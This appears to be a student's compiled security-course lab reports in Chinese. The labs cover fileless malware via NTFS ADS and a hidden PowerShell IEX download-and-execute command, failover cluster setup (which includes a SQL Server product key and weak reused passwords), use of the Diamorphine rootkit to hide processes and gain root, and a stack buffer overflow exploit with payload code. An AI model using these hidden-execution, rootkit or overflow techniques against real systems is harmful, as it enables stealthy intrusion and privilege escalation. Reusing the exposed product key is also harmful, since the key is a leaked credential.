    • 网络服务器 (用于托管远程脚本)

实验内容

1. 无文件病毒的定义及类型

无文件病毒定义
无文件病毒是指不依赖传统文件形式的恶意代码。它利用内存、注册表、合法系统工具(如PowerShell、CMD、NTFS ADS等)执行其功能,从而规避文件扫描型安全软件。

主要类型

  • 灰色工具型:使用合法系统工具或组件如PowerShell、注册表、NTFS ADS。
  • 脚本型:使用脚本语言(如VBScript、JavaScript)进行隐匿攻击。
  • 潜伏型:将恶意代码隐匿在注册表、WMI或系统库文件中以长期驻留。
  • 内存型:病毒仅存在于内存中,无磁盘落地,执行后即从内存中移除。

2. NTFS ADS数据流文件创建及使用

实验步骤

  1. 创建附加于宿主文件的ADS数据流文件

    • 使用以下命令创建一个宿主文件:

      1
      echo "Hello World" > primary.txt
    • 向宿主文件添加ADS数据流文件:

      1
      echo "ADS Content" > primary.txt:ads.txt
    • 使用以下命令查看ADS数据流文件:

      1
      dir /r
    • 打开ADS数据流文件:

      1
      notepad primary.txt:ads.txt
  2. 创建独立的ADS数据流文件

    • 创建一个独立的ADS数据流文件:

      1
      echo "Independent ADS Content" > :independent.txt
    • 退至上一级目录,使用 cd ..

    • 查看文件内容:

      1
      notepad test:independent.txt
    • 若无法删除:

      • 使用WinHex工具定位并删除该ADS数据流文件。(“工具→打开磁盘→选择磁盘”) 没有目录的点(“查看→显示→目录浏览器”)


3. 使用PowerShell远程下载并隐匿执行脚本

实验步骤

  1. 创建PowerShell脚本(远程下载测试脚本)

    • 在远程服务器托管一个脚本文件(test.ps1),内容如下:

      1
      2
      3
      4
      5
      6
      7
      function Read-MessageBoxDialog {
      $PopUpWin = new-object -comobject wscript.shell
      $PopUpWin.popup("Hello World, Welcome to School of Cybersecurity, GPNU!")
      }

      Read-MessageBoxDialog

      修改当前会话的执行策略

      在 PowerShell 会话中临时修改执行策略(仅对当前会话有效):

      1
      Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
      • Scope 参数:
        • Process:仅对当前会话生效,关闭会话后恢复默认。
        • CurrentUser:仅对当前用户生效。
        • LocalMachine:对所有用户生效(需要管理员权限)。

      永久修改执行策略(需慎重)

      如需永久更改执行策略,需使用以下命令(管理员权限):

      1
      Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine

      此命令将执行策略设置为 Bypass,本地脚本可执行,远程脚本需签名。

  2. 使用PowerShell远程下载并执行脚本

    • 选择部署的服务器

      • 您可以使用以下方式部署服务器:
        • 使用本地的简单HTTP服务器(如Python的http.server)。
        • 使用现有的Web服务器(如Apache、Nginx或IIS)。
        • 使用云服务(如AWS、Azure)。

      部署简单HTTP服务器

      • 如果在本地测试,可以使用Python内置的HTTP服务器。

      • 在目标目录中(包含test.ps1文件)运行以下命令:

        1
        python -m http.server 8080 --bind 0.0.0.0
      • 说明

        • 8080 是 HTTP 服务使用的端口。
        • --bind 0.0.0.0 表示服务器绑定到所有可用的网络接口

      配置 Windows 防火墙

      通过命令行打开防火墙的特定端口(如 8080):

      1
      netsh advfirewall firewall add rule name="Allow Python HTTP" dir=in action=allow protocol=TCP localport=8080
      • 说明:
        • name="Allow Python HTTP" 是规则名称,可以随意更改。
        • protocol=TCP 指定协议类型为 TCP。
        • localport=8080 指定开放的端口为 8080。

      删除规则(如果需要删除该规则):

      1
      netsh advfirewall firewall delete rule name="Allow Python HTTP"

      确认服务器可用

      • 使用浏览器访问:http://<服务器IP地址>/gpnu.ps1,确保能够下载gpnu.ps1脚本文件。

    • 在目标计算机执行以下命令:

      1
      powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -Command "& {IEX(New-Object Net.WebClient).DownloadString('http://10.236.0.54:8080/test.ps1')}"
  3. 隐匿执行

    • 使用以下参数隐匿PowerShell窗口:
      • -WindowStyle Hidden:隐藏窗口。
      • -NoLogo:不显示PowerShell启动标志。
      • -NonInteractive:非交互模式执行。

实验结果

  1. ADS数据流文件实验结果

    • 成功创建并验证宿主文件附带的ADS数据流文件和独立的ADS数据流文件。
    • 使用Notepad和WinHex验证ADS数据流的存在和内容。
  2. PowerShell远程下载与隐匿执行实验结果

    • 成功从远程服务器下载并隐匿执行test.ps1脚本,命令行无输出,脚本功能正常执行。

实验总结

  1. 无文件病毒因其无硬盘落地特性,使得基于文件的传统安全防护难以检测。
  2. NTFS ADS和PowerShell提供了强大的隐匿能力,但也存在被恶意利用的风险。
  3. 在实际系统中,应通过强化执行策略(如限制PowerShell执行策略)、监控命令使用等手段提升安全性。

注意事项

  • 确保实验环境为虚拟机,避免对生产系统产生影响。
  • 远程脚本的服务器应具备HTTPS支持以避免被截获和篡改。

附录

  1. 实验脚本与命令汇总
    • ADS创建命令。
    • PowerShell远程执行命令。
  2. 工具与参考文献
    • WinHex官方文档。
    • PowerShell命令参考。

故障转移群集搭建与群集系统安装

一、实验目的

  1. 搭建故障转移群集:实现服务和应用程序的高可用性。
  2. 群集系统安装环境设置:掌握搭建环境的配置要求。

二、实验环境

  • 操作环境:
    • Windows Server 2019
    • SQL Server 2019
  • 实验工具:
    • VMware

三、实验原理

故障转移群集

故障转移群集通过在多台服务器上部署相同的服务和应用程序,利用监控与自动切换机制,实现单点故障时的服务迁移,提高系统的可用性和容错能力。

群集系统安装环境设置

确保以下要求:

  • 服务器之间的网络连接正常。
  • 操作系统兼容并满足群集系统要求。
  • 硬件配置满足最低要求。
  • 主机名和 IP 地址配置正确。

四、实验步骤与分析(调整后)

(一)前期准备

1. 检查IP配置

节点 Public IP Private IP 群集IP 域名 群集名
Server1 192.168.80.27 10.1.1.2 192.168.80.16 nodeA moyu
Server2 192.168.80.32 10.1.1.3 192.168.80.16 nodeB moyu
Master 192.168.80.82 ha.com
NAS 192.168.80.8

(二)使用 NAS 搭建共享存储

1. 创建 Zvol

  1. 添加 Zvol(块存储)

    • node 存储池下,点击右侧菜单,选择 Add Zvol
    • 分别创建以下 Zvol:
      • Data:大小为 3GB。
      • DTC:大小为 1GB。
      • Zhongcai:大小为 1GB。
    • 配置:
      • 设置名称和大小。
      • 块大小(Block Size)保持默认(16KB 或 4KB)。
  2. 启用 iSCSI 服务

    • 转到 服务 -> iSCSI,启用 iSCSI 服务。

2. 配置 iSCSI

配置 iSCSI 以使节点(如 NodeANodeB)能够访问这些 Zvol。

  1. 创建扩展(Extent)

    • 路径共享 -> 块(iSCSI) -> 扩展

    • 操作

      • 添加扩展:
        • 名称:Data_ExtentDTC_ExtentZhongcai_Extent
        • 类型:选择 Device
        • 设备:选择您创建的 Zvol(如 Data)。
  2. 创建目标(Target)

    • 路径共享 -> 块(iSCSI) -> 目标

    • 操作

      • 添加目标:
        • 名称:datatargetdtctargetzhongcaitarget
        • 授权:选择 None 或配置 CHAP 验证。
        • Portal Group和发起人组ID均设为1
  3. 关联扩展和目标(Associated Targets):

    • 路径共享 -> 块(iSCSI) -> 关联

    • 操作

      • 将每个扩展与相应的目标关联,LUN ID设为1。
  4. 返回 Target Global Configuration,保存配置并启用iSCSI服务。

3. 在节点(NodeA 和 NodeB)上配置 iSCSI

  1. 启动 iSCSI 发起程序

    • NodeANodeB 上,搜索并打开 iSCSI 发起程序
  2. 发现 FreeNAS iSCSI 目标

    • 在 iSCSI 发起程序中:
      • 添加门户:输入 FreeNAS 的 IP 地址。
      • 搜索并发现所有配置的 iSCSI 目标。
  3. 连接磁盘

    • 在磁盘管理器中初始化新发现的磁盘。
    • 将磁盘格式化为 NTFS 或其他适用文件系统。

4. 在群集管理器中挂载磁盘

  • 打开 Windows 故障转移群集管理器。

  • 添加新的存储,并验证 DataDTCZhongcai 能否正确被群集节点访问。


(四)配置群集仲裁

  1. 在“故障转移群集管理器”中,配置仲裁方式。
  2. 选择“磁盘见证”方式,指定 Zhongcai 磁盘。

(五)添加 DTC 角色

  1. 在“故障转移群集管理器”中,添加分布事务协调器 (DTC) 角色。
  2. 指定 DTC 角色的磁盘为 DTC,IP 地址为 192.168.80.20。

(六)安装 SQL Server 故障转移

在NodeA 上安装 SQL Server

打开 SQL Server 安装程序,选择 “新的 SQL Server 故障转移群集安装”。双击iso ==》setup,然后右侧选择【新的 SOL Server 故障转移群集安装】

产品密钥HMWJ3-KY3J2-NMVD7-KG4JR-X2G8G

勾选自己所需要的功能(没必要全部勾选) 这里我就勾选了必备功能(后期还可以在自行添加)

点击【下一步】

添加进虚拟机的cd驱动器里

这里的ip地址同样需要填写一个未被分配的ip地址,192.168.80.35,需要输入之前加入域的账号和密码

(七)测试故障转移

  1. 测试场景
    • 关闭 NodeA 或断开网络,观察服务是否自动切换到 NodeB。
    • 停止 SQL Server 服务,观察是否影响故障转移。
  2. 预期结果
    • 服务能够在节点间正常切换。
    • SQL Server 故障不会影响整体群集运行。

五、实验总结

  1. 实验通过搭建故障转移群集,验证了其高可用性和容错性。
  2. 通过配置 ISCSI 存储服务器和共享磁盘,深入理解了存储资源在群集中的作用。
  3. 通过实验进一步掌握了 SQL Server 故障转移群集的安装与配置技巧。
  4. 实验中需重点关注:
    • 网络连接和服务器配置的准确性。
    • 依赖服务和权限的正确性。
  5. 故障转移群集的搭建对提高系统稳定性和可靠性具有重要意义。

Microsoft 群集服务(MSCS)环境的搭建

实验目的

利用 Windows Server 构建群集环境,具体包括:

  • 创建三个虚拟机环境
  • 部署群集环境
  • 配置共享磁盘系统

实验环境

  • 操作系统: Windows Server 2019
  • 工具: FreeNAS
  • 网络配置

    • Node A

      • Public IP:192.168.80.10
      • Private IP:10.1.1.2
      • 群集 IP:192.168.80.15
    • Node B

      • Public IP:192.168.80.11
      • Private IP:10.1.1.3
      • 群集 IP:192.168.80.15
    • Windows 2019

      • Public IP:192.168.80.6
    • NAS

      • Public IP:192.168.80.8

注意: Windows Server 2019 需创建三个独立的虚拟机,避免使用克隆方式,以防止域的 SID 冲突导致无法完成域加入。

修改 SID 的方法

在避免克隆 SID 冲突的情况下,推荐使用内置的 Sysprep 工具来生成新的 SID,而不是手动修改。以下是具体操作步骤:


使用 Sysprep 修改 SID

  1. 进入系统准备状态:

    • 登录到需要处理的虚拟机。

    • 打开命令提示符(管理员权限)。

    • 运行以下命令来启动 Sysprep 工具:

      1
      C:\Windows\System32\Sysprep\sysprep.exe
    • 或直接导航到 C:\Windows\System32\Sysprep 并双击 sysprep.exe

  2. 配置 Sysprep:

    • 在 Sysprep 界面中:
      • 选择 “进入系统全新体验(OOBE)” 模式。
      • 勾选 “通用化(Generalize)” 选项。
      • 在操作下拉框中选择 “关机”“重新启动”(根据需求)。
  3. 运行 Sysprep:

    • 点击 确定,系统会进入处理状态。
    • Sysprep 会移除系统的现有 SID 并为其准备新的。
  4. 完成后启动:

    • 系统完成 Sysprep 后会自动关机或重启。
    • 启动后,系统会进入 OOBE(全新体验模式),需要重新配置计算机名称和一些基础设置。

验证新的 SID

完成 Sysprep 后,你可以通过以下步骤验证 SID 是否已经更改:

  1. 打开命令提示符,输入以下命令:

    1
    whoami /user

    1
    wmic useraccount get name,sid
  2. 检查输出的 SID 是否与之前的不同。如果 SID 已变化,说明操作成功。

实验步骤

1. 创建域服务器

  1. 配置 Master 节点

    • 将 Master 节点设置为域控制器,关闭防火墙,配置 IP 地址和子网掩码。
    • 测试 Master 与 Node A 的连通性,确保网络通信正常。
  2. 安装 Active Directory 域服务

    • 打开“服务器管理器”,选择“添加角色和功能”。
    • 在“服务器角色”中,选择“Active Directory 域服务”,并继续安装。
    • 安装完成后,点击“将此服务器提升为域控制器”。
    • 在“部署配置”中,选择“添加新林”,并设置根域名为 ha.com
    • 在“域控制器选项”中,设置目录服务还原模式 (DSRM) 密码(如:Aa123456?)。
    • 在“DNS 选项”和“其他选项”中,使用系统默认设置。
    • 进入管理员账户(控制面板),对账户设置密码,创建Administrator账户的密码为Aa123456?
    • 在“先决条件检查”中,确保所有检查通过,然后点击“安装”。
    • 安装完成后,服务器将自动重启,完成域控制器的配置。
    • 重新配置密码Aa123456?

2. 将群集节点加入域

  1. 配置 Node A 节点

    • 打开“服务器管理器”,选择“添加角色和功能”,安装 DNS 服务器角色。

    • 安装完成后,重启服务器。

    • 右键“此电脑”,选择“属性”,点击“更改设置”,在“计算机名”选项卡中,点击“更改”。

    • 将计算机名称设置为 Node A,并选择“域”,输入 ha.com,点击“确定”。

    • 系统提示输入具有加入域权限的账户信息,输入域管理员账户(如:Administrator)和密码(如:Aa123456?)。

    • 成功加入域后,系统提示重启,点击“确定”并重启服务器。

  2. 配置 Node B 节点

    • 按照与 Node A 相同的步骤进行配置,确保成功加入 ha.com 域。

3. 创建群集域账号

  1. 登录 Master 节点

    • 使用域管理员账户登录 Master 节点。
    • 打开“服务器管理器”,点击“工具”,选择“Active Directory 用户和计算机”。
  2. 创建新用户

    • 在左侧的目录树中,右键点击“Users”容器,选择“新建”>“用户”。

    • 在“新建对象 - 用户”窗口中,输入用户的“姓名”、“用户登录名”(如:moyu),点击“下一步”。

    • 设置用户密码(如:Aa123456?),取消勾选“用户下次登录时须更改密码”,确保勾选“用户不能更改密码”和“密码永不过期”,然后点击“下一步”。

    • 确认信息无误后,点击“完成”创建用户。

4. 配置群集服务

  1. 在 Node A (使用管理员身份进行登录,使用普通用户进行登录,会出现权限不够的问题,导致实验无法成功)上安装故障转移群集功能

    • 打开“服务器管理器”,选择“添加角色和功能”。

    • 在“功能”页面,勾选“故障转移群集”,点击“下一步”,然后点击“安装”。

    • 安装完成后,系统可能提示需要重启,按照提示重启服务器。

  2. 在 Node B 上安装故障转移群集功能

    • 按照与 Node A 相同的步骤安装故障转移群集功能。
  3. 修改注册表设置

    • 在 Node A 和 Node B 上,按下 Win + R,输入 regedit,打开注册表编辑器。

    • 导航到以下路径:

      1
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • 右键点击右侧空白处,选择“新建”>“DWORD(32 位)值”,命名为 LocalAccountTokenFilterPolicy

    • 双击新建的键值,将数值数据设置为 1,然后点击“确定”。

  4. 创建群集

    • 在 Node A 上,打开“故障转移群集管理器”。

    • 在右侧的“管理”下,选择“创建群集”。

    • 在“开始之前”页面,点击“下一步”。

    • 在“选择服务器”页面,输入 Node ANode B 的名称,点击“添加”,然后点击“下一步”。

    • 在“验证访问点”页面,输入群集名称(如:moyuan),并指定群集 IP 地址,然后点击“下一步”。

    • 在“确认”页面,检查配置无误后,点击“下一步”开始创建群集。

    • 创建完成后,点击“完成”。

  5. 验证群集状态

    • 在“故障转移群集管理器”中,查看群集节点的状态,确保 Node ANode B 都处于“联机”状态。

    • 在“存储”下,查看共享磁盘的状态,确保其已被群集识别并处于“联机”状态。 至此,实验成功完成。

实验总结

知识点总结

  1. MSCS 组成

    • 群集服务:提供高可用性支持。
    • 资源监视器:实时监控资源状态。
    • 资源 DLL:实现资源管理逻辑。
  2. 故障转移功能

    • 通过冗余机制实现高可用性。应用程序在任一节点上运行,出现故障时可在其他节点上重启。
  3. 容错 vs 高可用性

    • MSCS 提供的是“高可用性”,而非真正的容错功能。

    反思总结

  • 常见问题及解决方案

    1. 系统版本差异导致功能缺失:安装 Windows Server 2019。
    2. 域服务器 SID 冲突:避免克隆,重新创建虚拟机。 (可以重置SID)
    3. Master 节点权限问题:使用 Administrator 账户登录。
    4. 节点公网网卡“public”,首选DNS应指向master节点

    通过本次实验,掌握了 MSCS 的配置方法,理解了群集的概念及其运作机制。

Windows Server 群集环境下的部署操作

实验目的

  • 学习在 Windows Server 群集环境下的部署操作。
  • 掌握共享磁盘的设计与应用。

实验环境

  • 操作系统:Windows Server 2019
  • 实验工具:FreeNAS

实验过程与分析

一、虚拟机安装与配置

  1. 安装与克隆

    • 下载 Windows Server 2019 的镜像文件。

    • 安装并配置一台主机 (Master) 后,克隆两个相同的虚拟机节点。

    • 克隆方式为选择“克隆全部内容”。

  2. 配置网络适配器

    • NodeANodeB的网卡适配器设置如下:

      • 适配器 1:设为“仅主机模式”。

      • 适配器 2:设为“NAT”模式。

二、群集环境部署

  1. 账户配置

    • 同时启动 NodeA 和 NodeB。

    • 进入 NodeA 的控制面板,调整账户名称为“nodeA”,NodeB 做相应设置。

  2. 防火墙关闭

    • 在每个节点上关闭防火墙。

  3. 网络配置

    • 进入网络和共享中心,调整网络适配器:

      • 内网网卡设置为“Private”。
      • 外网网卡设置为“Public”(最好用已连接网络的设置为public)。
    • 配置心跳网卡和公网网卡的 IP 地址和子网掩码

      右键公网网卡“public”,配置ip地址及子网掩码,首选DNS指向master节点。

      首先查看自动分配的IP

      1
      ipconfig /all

      同理配置另一节点

    • 在 NodeB 上通过 ping 指令测试与 NodeA 的连通性,以确保节点互通。

三、共享磁盘的配置

  1. iSCSI 配置

    • 在 NodeA 上启动 Windows Server 2019 自带的 iSCSI 发起程序。

    • 输入 FreeNAS 的 IP 地址,进行快速连接。

  2. 磁盘管理

    • 进入计算机管理中的磁盘管理,将 iSCSI 磁盘设为联机状态。

    • 在“此电脑”中查看共享磁盘是否可见。

  3. NodeB 的配置

    • 在 NodeB 上重复 NodeA 的磁盘联机步骤,无需关闭 NodeA。

    • 至此,共享磁盘环境配置完成。

💻 计算机系统分层设计 与 🐛Rootkit 概念及实现

🧪 实验问题 1

简述 💻 计算机系统 中的分层设计理念及相关应用举例
🎯 实验目的
  1. 理解 💻 计算机系统 分层设计理念及其重要性。
  2. 学习 分层设计 在 💻 计算机系统 中的典型应用。
📝 实验内容

分层设计 是一种将复杂系统划分为若干层次的设计方法,每层专注于特定的功能或抽象级别,向上提供服务,向下请求服务。这种设计理念使得系统模块化、易于维护和扩展。

分层设计的特点:

  1. 模块化:每一层可以独立开发和测试。
  2. 易于扩展:新增功能仅需在相应层中进行。
  3. 维护性强:局部修改不会影响其他层。

典型应用:

  1. 操作系统

    • 🖥️ 操作系统 采用分层设计,从硬件到用户程序通常分为硬件层、内核层、系统调用接口层、用户层等。
    • 实例:📂 文件系统 位于内核层,它抽象出文件管理功能,向上层屏蔽了硬件存储设备的细节。
  2. 网络协议栈

    • 🌐 OSI 七层模型 是网络通信领域的分层设计典范,将通信过程划分为物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。
    • 实例:📨 HTTP 位于应用层,它依赖于传输层(如 📦 TCP 协议)进行数据传输。

🧪 实验问题 2

简述 🐛 Rootkit 的相关定义,以及 🐛 Rootkit 的类型
🎯 实验目的
  1. 掌握 🐛 Rootkit 的概念及特点。
  2. 理解 🐛 Rootkit 的分类及其应用场景。
📝 实验内容

🐛 Rootkit 定义:

Rootkit 是一种具有高隐蔽性的软件工具,通常用于隐藏自身或其他恶意活动。它常与 🐎 木马、🔙 后门 等恶意程序结合,通过修改操作系统的核心部分达到隐藏和长期驻留的目的。

🐛 Rootkit 特点:

  1. 🔍 高隐蔽性:隐藏 📂 文件、📋 进程、📡 端口 等。
  2. 🔄 高持久性:通过多种手段维持对系统的控制权。
  3. ⚠️ 低检测率:传统杀毒软件难以发现。

🐛 Rootkit 类型:

  1. 用户态 Rootkit

    • 运行在用户空间。
    • 替换系统 API 或劫持系统调用返回值。
    • 应用场景:💸 大面积勒索或挖矿木马。
  2. 内核态 Rootkit

    • 运行在内核空间。
    • 修改系统内核数据结构或挂钩内核函数。
    • 应用场景:高级持续性威胁(APT)。
  3. 硬件态 Rootkit

    • 植入硬件层或引导扇区。
    • 在系统启动前获得控制权。
    • 应用场景:高隐蔽性、定向攻击。

🐛 Rootkit 的常见隐藏技术:

  1. 程序替换

    • LD_PRELOAD:通过预加载动态链接库,直接替换原始程序。
    • Ring3:在用户空间执行,属于用户态 Rootkit 的一种常用方法。
  2. 端口隐藏

    • eBPF:通过 kprobes/uprobes/tracepoint 等操作在内核中插入钩子,以隐藏特定的端口。
    • Netfilter Hook:使用 Netfilter 框架的钩子功能来过滤特定网络数据包,隐藏端口信息。
  3. 网络连接隐藏

    • VFS Hook:Hook tcp4_seq_show 函数,过滤 /proc/net/tcp 目录中特定内容,隐藏特定的网络连接。
    • eBPF:通过在内核中设置钩子来过滤网络连接。
    • Netfilter Hook:Hook Netfilter Callback Function Register,拦截网络数据包,隐藏相关连接信息。
  4. 进程隐藏

    • VFS Hook:通过 Hook filldir64/readdir 函数,过滤 /proc/PID 目录中文件内容,从而隐藏进程。
    • Syscall Hook:通过 Hook Sys_getdents/Sys_getdents64 系统调用函数,隐藏 /proc/PID 目录中文件信息。
    • eBPF:在内核中设置 tracepoint 钩子,过滤操作,从而隐藏进程。
  5. 文件隐藏

    • VFS Hook:Hook filldir64/readdir 函数,过滤特定目录中的文件。
    • eBPF:通过在内核设置 tracepoint 钩子,隐藏文件内容。
  6. 内核模块隐藏

    • 模块链表操作
      • 通过修改 kernel module 链表结构,将目标模块从链表中移除,从而实现隐藏。
      • Hook list_del_init 函数或通过 kobject 操作来修改内核模块链表结构,使模块不被显示。

这些技术手段通过对内核或用户空间的相关接口进行劫持或修改,能够有效地实现对📋 进程、📡 端口、📂 文件等系统资源的隐藏,达到了 🐛 Rootkit 的高隐蔽性要求。

🧪 实验问题 3

通过资料检索,了解 🐛 Rootkit 的具体实现,并尝试实现一个简单的 🐛 Rootkit

📝 实验名称

🐛 Rootkit 实验与提权演示

🎯 实验目的

通过本次实验,掌握 🐛 Rootkit 的基本使用方法,学习如何在 🐧 Linux 系统中利用 🐛 Rootkit 实现 📋 进程隐藏、内核模块隐藏以及普通用户提权的操作。

🖥️ 实验环境

  • 操作系统: 🐧 CentOS 7.9
  • 🐛 Rootkit 工具: Diamorphine

📝 实验步骤

1. 环境准备

(1) 克隆 Diamorphine 代码库

使用如下命令克隆 Diamorphine 的代码库:

1
git clone https://github.com/m0nad/Diamorphine

(2) 进入目录并编译模块

进入克隆的 Diamorphine 目录,使用 make 命令进行编译:

1
2
cd Diamorphine
make

如果缺少与当前内核匹配的头文件和构建工具,运行以下命令:

1
2
3
sudo yum groupinstall "Development Tools" -y
sudo yum install kernel-devel-$(uname -r) kernel-headers-$(uname -r) -y
ls -l /lib/modules/$(uname -r)/build

(3) 加载内核模块(as root)

将编译后的模块加载到内核中:

1
insmod diamorphine.ko
2. 内核模块隐藏验证

(1) 验证内核模块是否隐藏

使用 lsmod 命令列出当前加载的所有内核模块,检查是否能看到 Diamorphine 模块:

1
lsmod

由于 Diamorphine 模块具有隐藏功能,此时不会显示在列表中。

(2) 显示隐藏的模块

要显示被隐藏的 Diamorphine 模块,可以发送 kill -63 信号:

1
kill -63 0

再次运行 lsmod,可以看到 Diamorphine 模块显示在列表中。

3. 隐藏用户态进程

(1) 创建一个虚拟进程

通过运行以下命令创建一个虚拟进程:

1
2
sleep 1000 &
ps -ef | grep sleep

(2) 隐藏进程

要隐藏进程,可以使用 kill -31 命令,指定需要隐藏的进程 ID:

1
kill -31 <pid>

运行 ps 命令查看,进程将不再显示。

(3) 取消隐藏进程

使用相同的 kill -31 命令来取消隐藏该进程:

1
kill -31 <pid>

此时再次运行 ps 命令,可以看到该进程重新显示。

4. 普通用户提权至 root

(1) 切换至普通用户并查看权限

首先,切换到普通用户,例如 moyuan,并查看当前用户权限:

1
2
su - moyuan
whoami

默认情况下,普通用户是没有 root 权限的。

(2) 提权至 root

使用 Diamorphine 的 kill -64 信号来为普通用户授予 root 权限:

1
kill -64 0

执行上述命令后,再次运行 whoami 命令,结果将显示用户已被提升为 root。

5. 实验结果
  • 实验结果: 通过 Diamorphine 工具,成功实现了内核模块和用户态进程的隐藏,以及普通用户提权至 root 的操作。
  • 总结: 本次实验演示了 🐛 Rootkit 工具的强大功能,包括隐藏内核模块、隐藏用户进程以及普通用户提权等。在安全研究中,这些功能展示了如何在获得系统最高权限后维持控制权。但也要意识到,这类工具滥用可能对系统安全构成巨大威胁。
6. 注意事项与学习体会
  • 🛠️ 工具的使用应与原理结合: 在学习过程中,理解工具背后的工作原理尤为重要,只有如此才能做到举一反三。
  • ⚠️ 保持警惕与责任感: 🐛 Rootkit 等工具在安全领域有其研究价值,但使用时需保持审慎,确保不会对他人或公共系统造成不良影响。
  • 📈 工具不断更新: 安全工具和技术不断更新,掌握基础原理并善于总结经验,是保持技术先进性的关键。

通过本次实验,我对 🐛 Rootkit 的原理及其在 🐧 Linux 系统中的应用有了更深的理解,也更深刻地认识到了系统安全的重要性。

实验总结

  1. 实验收获

    • 理解了 💻 计算机系统分层设计的理念及应用。
    • 掌握了 🐛 Rootkit 的定义、分类及应用场景。
    • 通过实践学习了 🐧 Linux 内核模块的开发流程,初步实现了一个简单 🐛 Rootkit。
  2. 注意事项

    • 🐛 Rootkit 开发涉及较高权限操作,存在风险,请勿用于非法用途。
    • 在实际环境中使用内核模块时,应充分测试以避免系统崩溃。
  3. 未来改进

    • 学习更多高级劫持技术,如虚拟📁文件系统劫持。
    • 研究 🐛 Rootkit 的检测和防御方法,增强系统🛡️安全性。

实验报告:缓冲区溢出攻击的实现过程

本实验旨在演示缓冲区溢出(Buffer Overflow)攻击的基本过程,包括构造漏洞程序、寻找跳板地址、构造并注入Shellcode来实现控制流劫持。

1. 实验目标

缓冲区溢出(Buffer Overflow)是指程序在写入数据到内存缓冲区时,超出了预分配的空间,从而覆盖相邻的内存数据。此漏洞主要出现在不安全的函数(如 strcpy 等)中,允许攻击者在内存中任意写入数据。通过控制写入数据的内容,攻击者可覆盖程序的返回地址、函数指针等关键变量,进而实现恶意代码的执行。

  • 栈溢出:溢出缓冲区位于栈上,覆盖返回地址,改变控制流。
  • 堆溢出:溢出缓冲区位于堆上,通常通过修改函数指针或内存管理数据结构来实现。

通过缓冲区溢出漏洞,修改程序返回地址,实现自定义代码的执行。同时,演示如何在 Windows 和 Linux 环境下利用缓冲区溢出,最终实现计算机病毒的传播。

实验环境

  • 操作系统:Ubuntu 22.04 / Windows 10
  • 编译器:gcc (Linux)、Dev C++ (Windows)
  • 调试工具:GDB (Linux)、x32dbg (Windows)、IDA
  • 编程语言:C、Python
  • 关键库:pwnpwntools

2. 实验步骤

(一)Windows 栈溢出示例

实验目标为利用缓冲区溢出修改返回地址,触发特定功能(如显示消息框)。

构造一个存在缓冲区溢出漏洞的程序

首先编写一个简单的程序,通过strcpy函数将输入数据复制到缓冲区内。由于未检查输入数据的长度,若输入的数据超过缓冲区大小,则会导致缓冲区溢出。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <string.h> // 包含 strcmp 和 strcpy 函数的声明
#include <stdlib.h> // 包含 exit 函数的声明
#define PASSWORD "1234567" // 定义正确的密码为 "1234567"

// 验证密码函数,接受输入的 password 字符串
int verify_password (char *password)
{
int authenticated; // 用于存储比较结果的变量
char buffer[8]; // 定义了一个 8 字节的缓冲区

// 比较输入的密码和预定义的密码是否相同
authenticated = strcmp(password, PASSWORD);

// 将输入的 password 复制到 buffer 中,但没有检查长度,可能导致溢出
strcpy(buffer, password); // 注意:潜在的缓冲区溢出漏洞

return authenticated; // 返回比较结果
}

int main()
{
int valid_flag = 0; // 标志密码是否正确
char password[8]; // 定义了一个缓冲区用于存储输入的密码
FILE *fp; // 文件指针,用于打开和读取 password.txt 文件

// 打开 password.txt 文件,若失败则退出程序
if (!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}

// 从文件中读取密码字符串并存储到 password 缓冲区中
fscanf(fp, "%s", password);

// 调用 verify_password 函数验证密码是否正确
valid_flag = verify_password(password);

// 根据 valid_flag 判断密码是否正确
if (valid_flag) // 如果 valid_flag 非零(表示密码不正确)
{
printf("incorrect password!\n");
}
else // 如果 valid_flag 为零(表示密码正确)
{
printf("Congratulation! You have passed the verification!\n");
}

// 关闭文件
fclose(fp);

// 等待用户输入以暂停程序
printf("Press Enter to continue...");
getchar(); // 在程序结束前等待用户按 Enter 键
return 0;
}

在上述代码中,buffer只有8字节,但strcpy并未限制password的长度。如果输入数据超过8字节,将导致buffer后的数据被覆盖,包括返回地址。

  1. 编译程序:将上述代码编译为可执行文件。

  2. 构造输入:在password.txt中输入超过8字节的内容,以覆盖返回地址并修改程序执行流。

在txt文件输入100个A观察缓冲区

使用msf-pattern_create -l 100计算大小

1
2
3
┌──(student㉿kali)-[~]
└─$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

重新在X32dbg运行,执行到第一次报错,记录下EIP地址41386141

计算缓冲区大小(即红色框的区域)

使用命令msf-pattern_offset -l 100 -q 41386141得知缓冲区大小为24字节

将ret改为004014C5

1
2
3
4
5
6
7
8
padding = b"A" * 24  # 用 "A" 填充 24 字节
return_address = b"\xC5\x14\x40\x00" # secret_function 的地址(假设为 0x00401410)
payload = padding + return_address

# 将 payload 写入 password.txt 文件,使用二进制写入模式
with open("password.txt", "wb") as f:
f.write(payload)

重新运行,成功实现了Congratulation! You have passed the verification!

接下来试着用它弹一个窗,要对源码做一下改变以便能够调用 Messagebox 函数,因此导入了 user32.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>    // 包含标准输入输出函数的声明
#include <windows.h> // 包含 Windows API 函数的声明
#define PASSWORD "1234567" // 定义正确的密码常量为 "1234567"

// 验证密码的函数,接收一个字符指针 password
int verify_password(char *password)
{
int authenticated; // 变量 authenticated,用于存储密码验证结果
char buffer[44]; // 定义一个大小为 44 字节的缓冲区 buffer

